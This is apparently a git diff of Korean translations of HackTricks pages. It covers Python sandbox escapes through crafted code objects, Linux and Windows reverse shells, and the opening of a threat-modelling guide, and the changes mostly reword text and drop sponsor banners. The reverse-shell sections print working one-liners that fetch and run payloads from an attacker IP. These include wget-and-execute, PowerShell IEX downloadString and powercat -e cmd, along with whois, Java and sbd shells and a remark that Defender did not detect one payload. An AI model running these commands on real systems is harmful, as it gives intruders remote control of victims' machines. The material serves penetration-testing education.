다음 예제와 같이, 그 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -921,7 +913,7 @@ return "Nope"
|
||||||
```
|
```
|
||||||
### Creating the code object
|
### Creating the code object
|
||||||
|
|
||||||
먼저, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
|
먼저, **코드 객체를 생성하고 실행하는 방법**을 알아야 하므로, 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
|
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
### Bypass Defenses
|
### Bypass Defenses
|
||||||
|
|
||||||
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **루프와 모든 것을 포함한 전체 스크립트**를 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||||
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
||||||
|
|
||||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
||||||
|
@ -996,7 +988,7 @@ mydict['__builtins__'] = __builtins__
|
||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
만약 `eval` 또는 `exec`에 접근할 수 없다면, **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하는 것은 일반적으로 다음과 같은 오류로 실패할 것입니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경에 있지 않은 함수가 필요합니다.**
|
`eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없습니다_. 따라서 이 함수를 호출하기 위해 **제한된 환경에 있지 않은 함수가 필요합니다.**
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
|
@ -1019,7 +1011,7 @@ f(42)
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
|
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
|
||||||
따라서, 다음과 같은 체크들
|
따라서, 다음과 같은 체크들:
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
try:
|
try:
|
||||||
|
@ -1039,23 +1031,18 @@ will be bypassed
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,15 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**이 쉘에 대한 질문이 있으면** [**https://explainshell.com/**](https://explainshell.com) **를 확인할 수 있습니다.**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**이 쉘에 대한 질문이 있으면** [**https://explainshell.com/**](https://explainshell.com) **에서 확인할 수 있습니다.**
|
|
||||||
|
|
||||||
## Full TTY
|
## Full TTY
|
||||||
|
|
||||||
|
@ -68,7 +60,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||||
```
|
```
|
||||||
## Forward Shell
|
## Forward Shell
|
||||||
|
|
||||||
Linux 기반 웹 애플리케이션 내에서 **Remote Code Execution (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 보다 효과적으로 상호작용하기 위해 PTY (Pseudo Terminal) 셸을 설정하는 대안적 접근 방식이 필요합니다.
|
Linux 기반 웹 애플리케이션 내에서 **Remote Code Execution (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 보다 효과적으로 상호작용하기 위해 PTY (Pseudo Terminal) 셸을 설정하는 대안적 접근 방식이 필요합니다.
|
||||||
|
|
||||||
이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 이는 대상 환경과의 상호작용을 단순화합니다.
|
이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 이는 대상 환경과의 상호작용을 단순화합니다.
|
||||||
|
|
||||||
|
@ -141,7 +133,7 @@ while true; do nc -l <port>; done
|
||||||
```
|
```
|
||||||
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.
|
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.
|
||||||
|
|
||||||
**희생자**
|
**Victim**
|
||||||
```bash
|
```bash
|
||||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||||
```
|
```
|
||||||
|
@ -317,7 +309,7 @@ close(Service)
|
||||||
```bash
|
```bash
|
||||||
xterm -display 10.0.0.1:1
|
xterm -display 10.0.0.1:1
|
||||||
```
|
```
|
||||||
역방향 셸을 잡기 위해 사용할 수 있는 것(포트 6001에서 수신 대기):
|
역방향 셸을 잡기 위해 사용할 수 있는 것은 (포트 6001에서 수신 대기할 것입니다):
|
||||||
```bash
|
```bash
|
||||||
# Authorize host
|
# Authorize host
|
||||||
xhost +targetip
|
xhost +targetip
|
||||||
|
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -356,7 +342,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Lolbas
|
## Lolbas
|
||||||
|
|
||||||
페이지 [lolbas-project.github.io](https://lolbas-project.github.io/)는 리눅스의 [https://gtfobins.github.io/](https://gtfobins.github.io/)와 같은 Windows용입니다.\
|
페이지 [lolbas-project.github.io](https://lolbas-project.github.io/)는 리눅스의 [https://gtfobins.github.io/](https://gtfobins.github.io/)와 같은 Windows용입니다.\
|
||||||
명백히, **Windows에는 SUID 파일이나 sudo 권한이 없습니다**, 하지만 **어떻게** 일부 **바이너리**가 **임의 코드를 실행하는** 것과 같은 예기치 않은 작업을 수행하는 데 (악용)될 수 있는지 아는 것은 유용합니다.
|
명백히, **Windows에는 SUID 파일이나 sudo 권한이 없습니다**, 하지만 **어떻게** 일부 **바이너리**가 **임의의 코드를 실행하는** 것과 같은 예기치 않은 작업을 수행하는 데 (악용)될 수 있는지 아는 것은 유용합니다.
|
||||||
|
|
||||||
## NC
|
## NC
|
||||||
```bash
|
```bash
|
||||||
|
@ -47,7 +39,7 @@ ncat -l <PORT eg.443> --ssl
|
||||||
```
|
```
|
||||||
## SBD
|
## SBD
|
||||||
|
|
||||||
**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다목적 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
# Victims machine
|
# Victims machine
|
||||||
sbd -l -p 4444 -e bash -v -n
|
sbd -l -p 4444 -e bash -v -n
|
||||||
|
@ -102,7 +94,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||||
```
|
```
|
||||||
네트워크 호출을 수행하는 프로세스: **powershell.exe**\
|
네트워크 호출을 수행하는 프로세스: **powershell.exe**\
|
||||||
디스크에 기록된 페이로드: **아니오** (_적어도 procmon을 사용하여 찾을 수 있는 곳은 없습니다!_)
|
디스크에 기록된 페이로드: **아니오** (_적어도 procmon을 사용하여 찾을 수 있는 곳에서는 !_ )
|
||||||
```bash
|
```bash
|
||||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||||
```
|
```
|
||||||
|
@ -415,11 +407,11 @@ Defender는 이를 악성 코드로 감지하지 않습니다 (아직, 2019년 3
|
||||||
|
|
||||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||||
|
|
||||||
다운로드, 웹 서버 시작, 리스너 시작, 그리고 피해자의 끝에서 실행합니다:
|
다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 후, 피해자의 끝에서 실행합니다:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3월 4일).
|
Defender는 이를 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).
|
||||||
|
|
||||||
**powercat이 제공하는 다른 옵션:**
|
**powercat이 제공하는 다른 옵션:**
|
||||||
|
|
||||||
|
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 공격적인 PS 모듈과 프
|
||||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,58 +1,44 @@
|
||||||
# 위협 모델링
|
# 위협 모델링
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격에 대항하는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 엔진을 **무료**로 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 위협 모델링
|
## 위협 모델링
|
||||||
|
|
||||||
사이버 보안의 중요한 측면인 위협 모델링에 대한 HackTricks의 포괄적인 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별, 이해 및 대비하는 과정에서 우리는 이 분야의 중요성을 탐구합니다. 이 가이드는 현실적인 예제, 유용한 소프트웨어 및 쉽게 이해할 수 있는 설명으로 가득한 단계별 가이드 역할을 합니다. 보안 방어를 강화하려는 초보자와 경험 있는 실무자 모두에게 이상적입니다.
|
HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별하고 이해하며 전략을 세우는 사이버 보안의 이 중요한 측면을 탐구해 보세요. 이 스레드는 실제 사례, 유용한 소프트웨어 및 이해하기 쉬운 설명으로 가득 찬 단계별 가이드 역할을 합니다. 사이버 보안 방어를 강화하려는 초보자와 경험이 풍부한 실무자 모두에게 이상적입니다.
|
||||||
|
|
||||||
### 일반적으로 사용되는 시나리오
|
### 일반적으로 사용되는 시나리오
|
||||||
|
|
||||||
1. **소프트웨어 개발**: 안전한 소프트웨어 개발 수명주기(SSDLC)의 일환으로, 위협 모델링은 개발 초기 단계에서의 **잠재적 취약점 원천 식별**에 도움이 됩니다.
|
1. **소프트웨어 개발**: 안전한 소프트웨어 개발 생명 주기(SSDLC)의 일환으로, 위협 모델링은 개발 초기 단계에서 **잠재적 취약점의 출처를 식별하는 데 도움**을 줍니다.
|
||||||
2. **펜트esting**: 펜트esting 실행 표준(PTES) 프레임워크는 **시스템의 취약점을 이해하기 위한 위협 모델링**을 요구합니다.
|
2. **침투 테스트**: 침투 테스트 실행 표준(PTES) 프레임워크는 테스트를 수행하기 전에 **시스템의 취약점을 이해하기 위한 위협 모델링**을 요구합니다.
|
||||||
|
|
||||||
### 요약된 위협 모델
|
### 위협 모델 요약
|
||||||
|
|
||||||
위협 모델은 일반적으로 응용 프로그램의 계획된 아키텍처 또는 기존 빌드를 나타내는 다이어그램, 이미지 또는 다른 시각적 표현으로 나타냅니다. 이는 **데이터 흐름 다이어그램**과 유사하지만, 보안 중심적인 설계에서 차이가 있습니다.
|
위협 모델은 일반적으로 애플리케이션의 계획된 아키텍처 또는 기존 빌드를 나타내는 다이어그램, 이미지 또는 기타 형태의 시각적 일러스트레이션으로 표현됩니다. 이는 **데이터 흐름 다이어그램**과 유사하지만, 주요 차이점은 보안 지향적 설계에 있습니다.
|
||||||
|
|
||||||
위협 모델에는 종종 잠재적 취약점, 위험 또는 장벽을 상징하는 빨간색으로 표시된 요소가 포함됩니다. 위험 식별 프로세스를 간소화하기 위해 CIA(기밀성, 무결성, 가용성) 삼각형이 사용되며, STRIDE가 가장 일반적인 방법 중 하나입니다. 그러나 선택한 방법론은 구체적인 맥락과 요구 사항에 따라 다를 수 있습니다.
|
위협 모델은 종종 잠재적 취약점, 위험 또는 장벽을 상징하는 빨간색으로 표시된 요소를 특징으로 합니다. 위험 식별 프로세스를 간소화하기 위해 CIA(기밀성, 무결성, 가용성) 삼각형이 사용되며, 이는 많은 위협 모델링 방법론의 기초를 형성하며, STRIDE가 가장 일반적인 방법론 중 하나입니다. 그러나 선택된 방법론은 특정 맥락과 요구 사항에 따라 달라질 수 있습니다.
|
||||||
|
|
||||||
### CIA 삼각형
|
### CIA 삼각형
|
||||||
|
|
||||||
CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기밀성, 무결성 및 가용성을 나타냅니다. 이 세 가지 요소는 많은 보안 조치 및 정책이 구축되는 기초를 형성하며, 위협 모델링 방법론을 포함합니다.
|
CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기밀성, 무결성 및 가용성을 나타냅니다. 이 세 가지 기둥은 많은 보안 조치 및 정책이 구축되는 기초를 형성하며, 위협 모델링 방법론도 포함됩니다.
|
||||||
|
|
||||||
1. **기밀성**: 데이터나 시스템이 무단으로 액세스되지 않도록 보장합니다. 이는 적절한 액세스 제어, 암호화 및 기타 조치를 필요로 하며, 데이터 유출을 방지하기 위한 조치가 필요합니다.
|
1. **기밀성**: 데이터나 시스템이 무단 개인에 의해 접근되지 않도록 보장합니다. 이는 보안의 중심 측면으로, 데이터 유출을 방지하기 위해 적절한 접근 제어, 암호화 및 기타 조치를 요구합니다.
|
||||||
2. **무결성**: 데이터의 정확성, 일관성 및 신뢰성을 보장합니다. 이 원칙은 데이터가 무단으로 변경되거나 조작되지 않도록 보장합니다. 이는 체크섬, 해싱 및 기타 데이터 확인 방법을 포함합니다.
|
2. **무결성**: 데이터의 정확성, 일관성 및 신뢰성을 생애 주기 동안 보장합니다. 이 원칙은 데이터가 무단 당사자에 의해 변경되거나 변조되지 않도록 보장합니다. 종종 체크섬, 해싱 및 기타 데이터 검증 방법이 포함됩니다.
|
||||||
3. **가용성**: 데이터와 서비스가 필요할 때 허가된 사용자에게 접근 가능하도록 보장합니다. 시스템이 중단되더라도 시스템이 계속 작동할 수 있도록 중복, 장애 허용 및 고가용성 구성이 필요합니다.
|
3. **가용성**: 데이터와 서비스가 필요할 때 승인된 사용자에게 접근 가능하도록 보장합니다. 이는 종종 중복성, 내결함성 및 고가용성 구성을 포함하여 시스템이 중단 상황에서도 계속 작동하도록 합니다.
|
||||||
|
|
||||||
### 위협 모델링 방법론
|
### 위협 모델링 방법론
|
||||||
|
|
||||||
1. **STRIDE**: Microsoft에서 개발된 STRIDE는 **위조, 변조, 부인, 정보 노출, 서비스 거부 및 권한 상승**을 나타내는 약어입니다. 각 범주는 위협 유형을 나타내며, 이 방법론은 잠재적 위협을 식별하기 위해 프로그램이나 시스템의 설계 단계에서 일반적으로 사용됩니다.
|
1. **STRIDE**: Microsoft에서 개발한 STRIDE는 **스푸핑, 변조, 부인, 정보 유출, 서비스 거부 및 권한 상승**의 약어입니다. 각 카테고리는 위협의 유형을 나타내며, 이 방법론은 프로그램이나 시스템의 설계 단계에서 잠재적 위협을 식별하는 데 일반적으로 사용됩니다.
|
||||||
2. **DREAD**: Microsoft의 또 다른 방법론으로 식별된 위협의 위험 평가에 사용됩니다. DREAD는 **피해 가능성, 재현성, 이용 가능성, 영향을 받는 사용자 및 발견 가능성**을 나타냅니다. 각 요소는 점수가 매겨지며, 결과는 식별된 위협을 우선 순위로 정하는 데 사용됩니다.
|
2. **DREAD**: 이는 Microsoft에서 사용되는 또 다른 방법론으로, 식별된 위협의 위험 평가에 사용됩니다. DREAD는 **손상 가능성, 재현성, 악용 가능성, 영향을 받는 사용자 및 발견 가능성**의 약어입니다. 이러한 각 요소는 점수를 매기고, 결과는 식별된 위협의 우선 순위를 정하는 데 사용됩니다.
|
||||||
3. **PASTA**(공격 시뮬레이션 및 위협 분석 프로세스): 이는 일곱 단계의 **위험 중심적** 방법론입니다. 보안 목표를 정의하고 식별, 기술 범위 생성, 응용 프로그램 분해, 위협 분석, 취약성 분석 및 위험/트리지 평가를 포함합니다.
|
